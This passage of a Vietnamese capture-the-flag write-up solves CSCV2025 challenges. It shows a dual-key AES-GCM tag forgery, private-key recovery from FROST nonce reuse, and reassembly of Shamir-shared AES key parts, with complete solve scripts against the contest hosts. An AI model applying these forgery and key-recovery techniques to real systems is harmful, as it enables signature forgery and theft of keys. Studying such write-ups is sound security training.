GHASH_Hs(C) XOR S1 == GHASH_Hf(C) XOR S2
-> GHASH_Hs(C) XOR GHASH_Hf(C) == S1 XOR S2
Đặt L(C) = GHASH_Hs(C) XOR GHASH_Hf(C). L tuyến tính trên C đối với GF(2**128). Vì L tuyến tính, ta có thể chọn C thỏa mãn S1 XOR S2 và làm cho các tag bằng nhau -> Cả hai xác minh bằng GCM.
Phương pháp khai thác
-
Tính
H_svàH_f -
Khởi tạo một
nonce96 bit ngẫu nhiên và tínhJ0s = J0f -
Đối với GCM, khối bản mã
Ci = Pi XOR Ks_itrong đóKs_i = AES(ctr)là luồng khóa cho khốii. Các luồng khóa trongK_svàK_fkhác nhau:ks_blocks[i] = AES_s(ctr_i)vàkf_blocks[i] = AES_f(ctr_i) -
Sau đó, ta tính bản rõ:
- Đặt sử
d0 = ks_blocks[0] XOR kf_blocks[0]. ĐặtP2_block0làb'admin = True' + filler, sau đó để tạo ra bản mã tương tực0, ta đặt bản rõ phía ServerP1_block0 = P2_block0 XOR d0. Ta tínhc0 = P1_block0 XOR ks_blocks[0]. - Chọn
P1_block1để chứab'admin = False'tạiidxđược chỉ định, do đóc1 = P1_block1 XOR ks_blocks[1].
- Đặt sử
-
Ta giải phương trình tuyến tính cho khối bản mã cuối cùng
X_blocksao cho các tag khớp nhau:- Đặt
blocks = [c0, c1, X_block] - Tính
A0 = GHASH_Hs([c0, c1, 0]) XOR GHASH_Hf([c0, c1, 0])(hayL(C)khiX_block = 0) - Tính
A1 = GHASH_Hs([c0, c1, 1]) XOR GHASH_Hf([c0, c1, 1])(giá trị khi khối cuối cùng bằng phần tử trường 1) - Vì
Llà tuyến tính, nên tác động của nó lên khối cuối cùngX_blocklàL([c0, c1, X_block]) = A0 XOR beta * X_blocktrong đóbeta = A0 XOR A1 - Chúng ta cần
L([c0, c1, X_block]) == S1 XOR S2nên:
A0 XOR beta * X == S1 XOR S2 -> beta * X = S1 XOR S2 XOR A0 -> X = beta^-1 * (S1 XOR S2 XOR A0)với
beta^-1là nghịch đảo nhân trong trườngGF(2**128) - Đặt
-
Tạo bản mã
ct = c0 || c1 || X_blockvà tínhtag -
Giờ ta có
(nonce || ct || tag)là GCM hợp lệ dưới cả hai khóa mà bản rõ được giải mã dưới mỗi khóa thỏa mãn các ràng buộc chuỗi con khác nhau. Gửienc_msgđến Server để ký, và đến Flag Keeper để trả về flag.
Proof-of-concept
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Idea:
- The service leaks both AES-GCM keys when you rotate Server/FlagKeeper.
- We craft ONE ciphertext+tag that verifies under BOTH keys simultaneously
by exploiting GHASH linearity (we *know* both keys, so this is legit).
- We pick plaintexts so that:
* Under Server's key (at sign time, idx=16), plaintext contains
"admin = False" inside bytes 16..31 and never contains "admin = True".
* Under FlagKeeper's key (at flag time, idx=16), plaintext contains
"admin = True" inside bytes 0..15 and never contains "admin = False".
- Then we get Server to sign that ciphertext and ask FlagKeeper for the flag.
Run:
python3 solve.py
Requires: pwntools, pycryptodome
"""
from pwn import remote, context
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import os, sys, re, random
context.log_level = "info"
HOST = os.environ.get("HOST", "crypto1.cscv.vn")
PORT = int(os.environ.get("PORT", "1337"))
# ---------------------------- GHASH math (GF(2^128)) ----------------------------
# Field: GF(2^128) with irreducible poly x^128 + x^7 + x^2 + x + 1
# Standard reduction constant (SP 800-38D): R = 0xe1 << 120
RCONST = 0xE1000000000000000000000000000000
def gf_mult(x: int, y: int) -> int:
"""Multiply two 128-bit field elements in GF(2^128) as used by GHASH.
Integers are interpreted as big-endian bitstrings (NIST mapping)."""
z = 0
v = x
for i in range(128):
if ((y >> (127 - i)) & 1) == 1:
z ^= v
if (v & 1) == 1:
v = (v >> 1) ^ RCONST
else:
v >>= 1
return z & ((1 << 128) - 1)
def gf_pow(x: int, e: int) -> int:
"""Exponentiation in GF(2^128)."""
res = 1
base = x
while e > 0:
if e & 1:
res = gf_mult(res, base)
base = gf_mult(base, base)
e >>= 1
return res
def gf_inv(x: int) -> int:
"""Multiplicative inverse in GF(2^128). For x != 0: x^(2^128-2)."""
if x == 0:
raise ZeroDivisionError("attempt to invert zero in GF(2^128)")
return gf_pow(x, (1 << 128) - 2)
def ghash(H: int, blocks: list[bytes]) -> int:
"""Compute GHASH(H, C) for empty AAD and ciphertext blocks `blocks` (16B each)."""
y = 0
for b in blocks:
x = int.from_bytes(b, "big")
y = gf_mult(y ^ x, H)
# Length block: (len(AAD) || len(C)) in bits as 64-bit big-endian each. AAD length = 0.
clen_bits = (len(blocks) * 16) * 8
L = clen_bits # since len(AAD)=0, top 64 bits are zero
y = gf_mult(y ^ L, H)
return y
def aes_ecb_encrypt_block(key: bytes, block: bytes) -> bytes:
return AES.new(key, AES.MODE_ECB).encrypt(block)
def j0_from_nonce(nonce12: bytes) -> bytes:
# For 96-bit (12-byte) nonce: J0 = nonce || 0x00000001
assert len(nonce12) == 12
return nonce12 + b"\x00\x00\x00\x01"
def ctr_block(nonce12: bytes, ctr_val: int) -> bytes:
# 96-bit nonce + 32-bit big-endian counter
return nonce12 + ctr_val.to_bytes(4, "big")
def gcm_keystream_blocks(key: bytes, nonce12: bytes, count: int) -> list[bytes]:
# S = E_K(J0) used for tag (not returned here)
# Keystream for plaintext blocks uses counters starting at J0+1 (i.e., 2,3,...)
return [aes_ecb_encrypt_block(key, ctr_block(nonce12, 2 + i)) for i in range(count)]
# ---------------------------- Ciphertext constructor ----------------------------
ADMIN_TRUE = b"admin = True"
ADMIN_FALSE = b"admin = False"
def craft_dual_valid_ciphertext(Ks: bytes, Kf: bytes, idx_sign: int, idx_flag: int):
"""
Build (nonce, ciphertext, tag) such that:
- Valid GCM under Ks AND under Kf with the *same* (nonce, ct, tag).
- Plaintext under Ks (P1) satisfies:
- ADMIN_FALSE in slice [idx_sign : idx_sign+16]
- ADMIN_TRUE not present anywhere
- Plaintext under Kf (P2) satisfies:
- ADMIN_TRUE in prefix [:idx_flag]
- ADMIN_FALSE not present anywhere
Construction: 3 blocks total. Block 0 and 1 are chosen; block 2 is solved to equalize tags.
Place ADMIN_TRUE in P2 block 0; place ADMIN_FALSE in P1 block 1.
"""
assert idx_sign % 16 == 0 and idx_flag % 16 == 0, "this builder assumes 16-byte windows"
assert idx_sign == 16 and idx_flag == 16, "designed for idx=16 at both steps"
Hs = int.from_bytes(aes_ecb_encrypt_block(Ks, b"\x00"*16), "big")
Hf = int.from_bytes(aes_ecb_encrypt_block(Kf, b"\x00"*16), "big")
while True:
nonce = os.urandom(12)
J0s = j0_from_nonce(nonce)
J0f = J0s # same nonce
S1 = int.from_bytes(aes_ecb_encrypt_block(Ks, J0s), "big")
S2 = int.from_bytes(aes_ecb_encrypt_block(Kf, J0f), "big")
# Keystreams for first 3 blocks
ks_blocks = gcm_keystream_blocks(Ks, nonce, 3)
kf_blocks = gcm_keystream_blocks(Kf, nonce, 3)
# Δ stream per block
d0 = bytes(a ^ b for a, b in zip(ks_blocks[0], kf_blocks[0])) # 16B
# Choose P2 block0 = "admin = True" + filler to 16 bytes
p2_0 = ADMIN_TRUE + b"!!!!" # 12 + 4 = 16
p1_0 = bytes(a ^ b for a, b in zip(p2_0, d0)) # because p2_0 = p1_0 ^ d0
# Choose P1 block1 = "admin = False" + filler to 16 bytes
p1_1 = ADMIN_FALSE + b"!!!" # 13 + 3 = 16
# Ciphertext known part under Ks
c0 = bytes(a ^ b for a, b in zip(p1_0, ks_blocks[0]))
c1 = bytes(a ^ b for a, b in zip(p1_1, ks_blocks[1]))
# Solve for last block X so that tag is equal under both keys
# Compute GHASH difference for C||X with X variable using two evaluations X=0 and X=1.
zero = b"\x00"*16
one = b"\x00"*15 + b"\x01"
A0 = ghash(Hs, [c0, c1, zero]) ^ ghash(Hf, [c0, c1, zero]) # constant term for X=0
A1 = ghash(Hs, [c0, c1, one ]) ^ ghash(Hf, [c0, c1, one ]) # evaluates linear term at X=1
beta = A0 ^ A1 # coefficient for X (since L(X)=A0 ^ beta*X)
rhs = S1 ^ S2 # we need A0 ^ beta*X == rhs
Xint = gf_mult(gf_inv(beta), rhs ^ A0) # X = beta^{-1} * (rhs ^ A0)
Xblk = long_to_bytes(Xint, 16)
# Full ciphertext blocks and tag (compute using Server key; equal for FK by design)
blocks = [c0, c1, Xblk]
tag_int = ghash(Hs, blocks) ^ S1
tag = long_to_bytes(tag_int, 16)
# Reconstruct P1/P2 to verify constraints.
p1_2 = bytes(a ^ b for a, b in zip(Xblk, ks_blocks[2]))
p2_0_chk = bytes(a ^ b for a, b in zip(c0, kf_blocks[0]))
p2_1 = bytes(a ^ b for a, b in zip(c1, kf_blocks[1]))
p2_2 = bytes(a ^ b for a, b in zip(Xblk, kf_blocks[2]))
P1 = p1_0 + p1_1 + p1_2
P2 = p2_0_chk + p2_1 + p2_2
# Checks for substring conditions
cond_sign = (ADMIN_FALSE in P1[idx_sign:idx_sign+16]) and (ADMIN_TRUE not in P1)
cond_flag = (ADMIN_TRUE in P2[:idx_flag]) and (ADMIN_FALSE not in P2)
if cond_sign and cond_flag:
ct = b"".join(blocks)
enc_msg = nonce + ct + tag
return enc_msg, P1, P2
# otherwise try a new nonce (changes keystreams and S1/S2)
# (This loop usually succeeds quickly; last-block random text nearly never creates bad substrings.)
# print("retrying nonce...")
def parse_key_line(s: bytes) -> bytes:
# Expect line like: b"current Server key: abcd..."
m = re.search(rb"key:\s*([0-9a-fA-F]{32})", s)
if not m:
raise ValueError(f"could not parse key from: {s!r}")
return bytes.fromhex(m.group(1).decode())
def main():
io = remote(HOST, PORT)
# Drain banner
io.recvuntil(b"5. Exit")
# 1) Rotate FlagKeeper keys (idx -= 16): learn Kf
io.sendline(b"2")
line = io.recvline(timeout=2.0)
# Might echo menu first depending on buffering; collect until we see 'FlagKeeper key'
while b"FlagKeeper key" not in line:
line = io.recvline(timeout=2.0)
Kf = parse_key_line(line)
context.log_level = "info"
print(f"[+] FlagKeeper key: {Kf.hex()}")
# 2) Rotate Server keys (idx += 16): learn Ks (1st)
io.sendline(b"1")
line = io.recvline(timeout=2.0)
while b"Server key" not in line:
line = io.recvline(timeout=2.0)
Ks1 = parse_key_line(line)
print(f"[+] Server key (step2): {Ks1.hex()}")
# 3) Rotate Server keys again (idx += 16, now idx==16): use this Ks for signing
io.sendline(b"1")
line = io.recvline(timeout=2.0)
while b"Server key" not in line:
line = io.recvline(timeout=2.0)
Ks = parse_key_line(line)
print(f"[+] Server key (step3): {Ks.hex()}")
print("[*] idx is now 16 for both checks. Crafting ciphertext...")
enc_msg, P1, P2 = craft_dual_valid_ciphertext(Ks, Kf, idx_sign=16, idx_flag=16)
print(f"[+] Built enc_msg of length {len(enc_msg)} bytes")
print(f"[+] Sanity P1 (Server view): {P1}")
print(f"[+] Sanity P2 (FlagKeeper view): {P2}")
# 4) Ask Server to sign
io.sendline(b"3")
io.recvuntil(b"Enter the encrypted message (in hex): ")
io.sendline(enc_msg.hex().encode())
# Read "Signature (in hex): ...."
sigline = io.recvline(timeout=2.0)
while b"Signature (in hex):" not in sigline:
sigline = io.recvline(timeout=2.0)
sig_hex = sigline.split(b":", 1)[1].strip()
print(f"[+] Got signature: {sig_hex.decode()}")
# 5) Ask FlagKeeper for flag
io.sendline(b"4")
io.recvuntil(b"Enter the encrypted message (in hex): ")
io.sendline(enc_msg.hex().encode())
io.recvuntil(b"Enter the signature (in hex): ")
io.sendline(sig_hex)
# The server should now print "Flag: <flag>"
# Grab lines until we see "Flag:"
out = io.recvline(timeout=3.0)
while out and b"Flag:" not in out:
sys.stdout.buffer.write(out)
out = io.recvline(timeout=3.0)
if out and b"Flag:" in out:
print(out.decode().strip())
else:
print("[!] Did not receive flag line. Output above may contain error info.")
io.close()
if __name__ == "__main__":
main()
Flag: CSCV2025{45869e6654b4d78d60c96a10ec60a246}
FROST-MeetS
Write-up được viết bởi Phạm Quang Minh - sinh viên ngành An toàn không gian số K68.

Phân tích challenge
Giao thức của bài toán FROST protocol
Bài này hơi dài, nhưng nếu tóm gọn thì nó sẽ chỉ như này:
- G: generator của secp256k1
- n : bậc của đường cong
- x : Joint private key (hoặc : share)
- P : Joint public key ( )
- m : Message
- H() : Tagged hash
1. Schnorr Signature
- Tạo Nonce Commitment:
- Tính Challenge
- Signature:
- Kiểm tra:
2. FROST
- Tạo cặp Nonce cho từng người kí (Cho mỗi phiên 90s):
- Tính Binding Factor:
- Tính Commitment của từng người: (Tổng: )
- Blinding của phiên:
- Challenge
- Nonce của từng người & một phần Signature (share): , , : Hệ số Lagrange (Tổng )
- Blinded Signature:
3. Nội suy Lagrange
- Hệ số Lagrange (Cho tập S, người kí i ∈ S): ,
Để lấy được flag, ta cần gửi Schorr Signature (R, s) hợp lệ message b"RELEASE_THE_FLAG"
Ý tưởng khai thác
Điểm yếu của bài toán nằm ở việc:
- Tái sử dụng Nonce Cache: Nonces là cached cho mỗi client_id một phiên (90 seconds) dẫn đến trong cùng một phiên, session_id giống, cùng client_id, cùng Nonce, cùng , cùng k
cached_nonce_obj = self.nonce_cache.get(client_id, signer_id, timestamp)
if cached_nonce_obj is not None: # Reuse!
d = cached_nonce_obj.d
# ...
else:
d = generate_random_scalar() # Create new
# ...
Đầu tiên lấy public key trong /health
curl http://<host>:8000/health
Sau đó gửi đi sao cho cùng một phiên, và cùng người kí (để dùng Lagrange), nhận được và
Ta rút được hệ phương trình:
Có được private key rồi, ta sẽ dùng để kí target message
- Lấy k ngẫu nhiên,
R = point_mul(k) - c =
challenge_hash(R, joint_pubkey, release_message) - s =
(k + c * x) % CURVE_ORDER
Thu được R_hex = R.hex(), s_hex = hex(s)
curl -X POST http://<host>:8000/approvals/verify \
-H "Content-Type: application/json" \
-d '{"message": "52454c454153455f5448455f464c4147", "R": "<R_hex>", "s": "<s_hex>"}'
Gửi đến server, và thu được flag.
Proof-of-concept
import argparse
import hashlib
import secrets
import sys
import time
import requests
from ecdsa import curves
from ecdsa.ellipticcurve import Point
# secp256k1 constants
CURVE_ORDER = curves.SECP256k1.order
G = curves.SECP256k1.generator
CURVE_P = curves.SECP256k1.curve.p()
CURVE_A = curves.SECP256k1.curve.a()
CURVE_B = curves.SECP256k1.curve.b()
def point_to_bytes(point):
x = point.x()
y = point.y()
prefix = b'\x02' if y % 2 == 0 else b'\x03'
return prefix + x.to_bytes(32, 'big')
def bytes_to_point(b):
prefix = b[0]
x = int.from_bytes(b[1:], 'big')
y2 = (pow(x, 3, CURVE_P) + CURVE_A * x + CURVE_B) % CURVE_P
y = pow(y2, (CURVE_P + 1) // 4, CURVE_P)
if y % 2 != (prefix & 1):
y = CURVE_P - y
return Point(curves.SECP256k1.curve, x, y)
def point_mul(scalar, point_bytes=None):
scalar = scalar % CURVE_ORDER
if point_bytes is None:
return G * scalar
else:
p = bytes_to_point(point_bytes)
return p * scalar
def tagged_hash(tag, *messages):
tag_hash = hashlib.sha256(tag.encode()).digest()
return hashlib.sha256(tag_hash + tag_hash + b''.join(messages)).digest()
def challenge_hash(R_bytes, pubkey_bytes, message):
R_point = bytes_to_point(R_bytes)
pk_point = bytes_to_point(pubkey_bytes)
R_x = R_point.x().to_bytes(32, 'big')
pk_x = pk_point.x().to_bytes(32, 'big')
challenge_bytes = tagged_hash("BIP0340/challenge", R_x, pk_x, message)
return int.from_bytes(challenge_bytes, 'big') % CURVE_ORDER
def sign_schnorr(x, message):
k = secrets.randbelow(CURVE_ORDER - 1) + 1
R_point = point_mul(k)
R_bytes = point_to_bytes(R_point)
pubkey_bytes = point_to_bytes(point_mul(x))
c = challenge_hash(R_bytes, pubkey_bytes, message)
s = (k + c * x) % CURVE_ORDER
return R_bytes, s
def handle_rate_limit(response_json, default_delay=60):
error = response_json.get("error", {})
if error.get("code") == "RATE_LIMIT_EXCEEDED":
retry_after = error.get("details", {}).get("retry_after", default_delay)
print(f"Rate limited. Waiting {retry_after} seconds...")
time.sleep(retry_after)
return True
return False
parser = argparse.ArgumentParser(description="Exploit TrustGuard Treasury to extract flag")
parser.add_argument("--url", default="http://crypto2.cscv.vn", help="Base URL of the service")
args = parser.parse_args()
base_url = args.url
# Get joint public key
try:
health = requests.get(f"{base_url}/health").json()
joint_pubkey_hex = health["joint_pubkey"]
joint_pk_bytes = bytes.fromhex(joint_pubkey_hex)
except Exception as e:
print(f"Error fetching health: {e}")
sys.exit(1)
client_id = "exploit_org"
message_hex = "68656c6c6f" # b"hello"
message_bytes = bytes.fromhex(message_hex)
release_message = b"RELEASE_THE_FLAG"
release_hex = release_message.hex()
subsets_seen = {} # subset_tuple: list of {"session_id": str, "R_bytes": bytes, "s": int}
request_interval = 7 # Delay to stay under 9 requests/min (~6.67s per request)
start_time = time.time()
epoch_duration = 90 # Nonce cache TTL
attempts = 0
max_attempts = 20 # Limit to avoid infinite loop
while time.time() - start_time < epoch_duration and attempts < max_attempts:
try:
r = requests.post(f"{base_url}/approvals/request", json={"client_id": client_id, "message": message_hex}, timeout=5)
attempts += 1
if r.status_code != 201:
print(f"HTTP error: {r.status_code} - {r.text}")
time.sleep(request_interval)
continue
resp = r.json()
if resp["status"] == "error":
print(f"API error: {resp['error']}")
if handle_rate_limit(resp):
continue
time.sleep(request_interval)
continue
data = resp["data"]
session_id = data["session_id"]
sig = data["signature"]
R_hex = sig["R"]
R_bytes = bytes.fromhex(R_hex)
s = int(sig["s"], 0)
subset = tuple(sorted(sig["subset"]))
entry = {"session_id": session_id, "R_bytes": R_bytes, "s": s}
print(f"Got signature: session_id={session_id}, subset={subset}")
if subset not in subsets_seen:
subsets_seen[subset] = [entry]
else:
subsets_seen[subset].append(entry)
# Check if we have two signatures with same subset
if len(subsets_seen[subset]) >= 2:
sig1 = subsets_seen[subset][-2]
sig2 = subsets_seen[subset][-1]
beta1 = int.from_bytes(hashlib.sha256(b"R_blind" + sig1["session_id"].encode() + joint_pk_bytes).digest(), 'big') % CURVE_ORDER
beta2 = int.from_bytes(hashlib.sha256(b"R_blind" + sig2["session_id"].encode() + joint_pk_bytes).digest(), 'big') % CURVE_ORDER
c1 = challenge_hash(sig1["R_bytes"], joint_pk_bytes, message_bytes)
c2 = challenge_hash(sig2["R_bytes"], joint_pk_bytes, message_bytes)
if c1 == c2:
print("Same challenge, discarding pair")
continue
z1 = (sig1["s"] - beta1) % CURVE_ORDER
z2 = (sig2["s"] - beta2) % CURVE_ORDER
diff_z = (z1 - z2) % CURVE_ORDER
diff_c = (c1 - c2) % CURVE_ORDER
inv_diff_c = pow(diff_c, CURVE_ORDER - 2, CURVE_ORDER)
x = (diff_z * inv_diff_c) % CURVE_ORDER
# Sign the release message
print("Recovered private key, signing release message...")
R_release, s_release = sign_schnorr(x, release_message)
# Submit to verify
payload = {
"message": release_hex,
"R": R_release.hex(),
"s": hex(s_release)
}
vr = requests.post(f"{base_url}/approvals/verify", json=payload, timeout=5)
vresp = vr.json()
if vresp["status"] == "success" and vresp["data"].get("valid", False):
print("Success! Flag:", vresp["data"]["authorization_token"])
sys.exit(0)
else:
print("Invalid signature, continuing...")
if handle_rate_limit(vresp):
continue
time.sleep(request_interval)
except requests.exceptions.RequestException as e:
print(f"Network error: {e}")
time.sleep(request_interval)
except Exception as e:
print(f"Unexpected error: {e}")
time.sleep(request_interval)
print("Failed to get two signatures with same subset within epoch or max attempts reached.")
sys.exit(1)
Shamir's Secret Sharing
Phân tích các thành phần challenge
Đây là một chall xen cả thể loại Misc dùng multi party computation, chia key AES ra thành các thành phần nhỏ hơn, và ta phải recover các thành phần đó và sử dụng Nội suy Lagrange để lấy lại key.

Đây là tất cả những file ta có, trong đó:
finallà thư mục chính chứa flagshare1->share7là các mục được ẩn giấuSecreteKeychứa password để giải nénshare4.zipvàshare5.pdf
share1
(1, 201522632269176227792529259658745111658)
share2

qr to chứa thông tin gợi ý 'Ceaser cipher', còn qr nhỏ chứa đoạn mã
71%779<<5=;5;<<799=55<>6;7696:959;888>8;<:
và khi giải mã đoạn trên
encrypted = '71%779<<5=;5;<<799=55<>6;7696:959;888>8;<:'
for i in encrypted:
print(chr(ord(i) - 5), end = '')
ta sẽ thu được
(2, 2247708606772448007916214154046333936750x746872657368306c645f6b33795f3035)
share3 về RSA
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RSA Decrypt Script
- Expects: private_key.pem, encrypted_message.bin in the same folder as the script
- Tries PKCS#1 v1.5 first (works for your sample), then OAEP (SHA-256, SHA-1)
- Prints plaintext (UTF-8 if decodable), and saves to decrypted.bin
- Also prints e, n, d, and ct as integers (decimal)
Requires: pycryptodome
pip install pycryptodome
"""
import sys
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, PKCS1_OAEP
from Crypto.Hash import SHA256, SHA1
from Crypto import Random
BASE = Path(__file__).resolve().parent
PRIV = BASE / "private_key.pem"
CIPH = BASE / "encrypted_message.bin"
def load_files():
if not PRIV.exists():
print(f"[!] Missing private key: {PRIV}")
sys.exit(1)
if not CIPH.exists():
print(f"[!] Missing ciphertext: {CIPH}")
sys.exit(1)
key = RSA.import_key(PRIV.read_bytes())
ct = CIPH.read_bytes()
return key, ct
def try_pkcs1_v15(key, ct):
print("[*] Trying RSA PKCS#1 v1.5...")
cipher = PKCS1_v1_5.new(key)
sentinel = Random.get_random_bytes(32)
pt = cipher.decrypt(ct, sentinel)
if pt != sentinel:
print("[+] Success with PKCS#1 v1.5")
return pt
return None
def try_oaep_sha256(key, ct):
print("[*] Trying RSA OAEP (SHA-256)...")
try:
cipher = PKCS1_OAEP.new(key, hashAlgo=SHA256)
return cipher.decrypt(ct)
except Exception:
return None
def try_oaep_sha1(key, ct):
print("[*] Trying RSA OAEP (SHA-1)...")
try:
cipher = PKCS1_OAEP.new(key, hashAlgo=SHA1)
return cipher.decrypt(ct)
except Exception:
return None
def main():
key, ct = load_files()
print("=== RSA PARAMETERS ===")
print("e =", key.e)
print("n =", key.n)
print("d =", key.d)
print("ct (int) =", int.from_bytes(ct, "big"))
print()
pt = try_pkcs1_v15(key, ct)
if pt is None:
pt = try_oaep_sha256(key, ct)
if pt is None:
pt = try_oaep_sha1(key, ct)
if pt is None:
print("[!] Decryption failed. This ciphertext may not match the private key or uses a different scheme.")
sys.exit(2)
# Save plaintext
out = BASE / "decrypted.bin"
out.write_bytes(pt)
# Print plaintext in hex and as UTF-8 if possible
print("=== PLAINTEXT ===")
print("hex:", pt.hex())
try:
text = pt.decode("utf-8")
print("utf8:", text)
except UnicodeDecodeError:
print("utf8: <not valid UTF-8>")
print(f"[+] Saved plaintext to: {out}")
if __name__ == "__main__":
main()
output:
(3, 135324715440419453670163953081590813641)
share4 chỉ cần dùng password ctf_2025 để giải nén
(4, 120473893289346312314482711088749854173)
share5 là một file pdf, link paper gốc ở đây
share6
Thoạt đầu tưởng file này không có gì, nhưng có rất nhiều dòng, nhưng nếu bôi đen nó sẽ có dấu space và tab. Sau một hồi tìm kiếm thì mình phát hiện ra đây là Whitespace cipher và có thể dùng công cụ này để giải mã.

(6, 279670438188058666671026211629408563184)
Sau đó khi đủ 5 cặp (x, f(x)) thì dùng Nội suy Lagrange để ghép lại thành key lớn, và giải mã vault.enc.
#!/usr/bin/env python3
# Prime từ file prime
p = 309465533233587653298203953963739275397
# Các shares đã thu thập được (x, y)
shares = [
(1, 201522632269176227792529259658745111658),
(2, 224770860677244800791621415404633393675),
(3, 135324715440419453670163953081590813641),
(4, 120473893289346312314482711088749854173),
(6, 279670438188058666671026211629408563184),
]
def mod_inverse(a, m):
"""Tính modular inverse của a mod m"""
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
_, x, _ = extended_gcd(a % m, m)
return (x % m + m) % m
def lagrange_interpolation(shares, x, p):
"""
Nội suy Lagrange tại điểm x mod p
shares: list of (xi, yi) tuples
"""
result = 0
for i, (xi, yi) in enumerate(shares):
# Tính Lagrange basis polynomial L_i(x)
numerator = 1
denominator = 1
for j, (xj, _) in enumerate(shares):
if i != j:
numerator = (numerator * (x - xj)) % p
denominator = (denominator * (xi - xj)) % p
# L_i(x) = numerator / denominator mod p
lagrange_basis = (numerator * mod_inverse(denominator, p)) % p
# Cộng vào kết quả: f(x) = sum(yi * L_i(x))
result = (result + yi * lagrange_basis) % p
return result
# Tính secret (f(0))
secret = lagrange_interpolation(shares, 0, p)
print(f"Secret f(0) = {secret}")
# Chuyển secret thành AES key (hex)
secret_hex = hex(secret)[2:]
if len(secret_hex) % 2:
secret_hex = '0' + secret_hex
print(f"Secret (hex) = {secret_hex}")
# Chuyển hex sang ASCII
try:
secret_ascii = bytes.fromhex(secret_hex).decode('ascii')
print(f"AES Key (ASCII) = {secret_ascii}")
except:
print(f"Cannot decode as ASCII")
# Tính share5 và share7 (nếu cần)
share5_y = lagrange_interpolation(shares, 5, p)
share7_y = lagrange_interpolation(shares, 7, p)
print(f"\nShare 5: f(5) = {share5_y}")
print(f"Share 7: f(7) = {share7_y}")
# Decrypt vault.enc
print("\n" + "="*60)
print("Decrypting vault.enc...")
print("="*60)
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# Đọc vault.enc
with open('vault.enc', 'rb') as f:
vault_data = f.read()
# Decode base64
decoded = base64.b64decode(vault_data)
# Tách IV và ciphertext
iv = decoded[:16]
ciphertext = decoded[16:]
print(f"IV (hex): {iv.hex()}")
print(f"Ciphertext length: {len(ciphertext)} bytes")
# AES key (thresh0ld_k3y_05)
key = b'thresh0ld_k3y_05'
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
# Unpad
try:
plaintext = unpad(plaintext, AES.block_size)
except:
# Remove zero padding manually
plaintext = plaintext.rstrip(b'\x00')
print(f"\n{'='*60}")
print("DECRYPTED PLAINTEXT:")
print('='*60)
print(plaintext.decode('utf-8', errors='ignore'))
print('='*60)
except ImportError:
print("\nCần cài đặt pycryptodome: pip install pycryptodome")
except FileNotFoundError:
print("\nKhông tìm thấy file vault.enc")
except Exception as e:
print(f"\nLỗi khi decrypt: {e}")
Flag: CSCV2025{Thresh0ld_c1pher_2025@?!}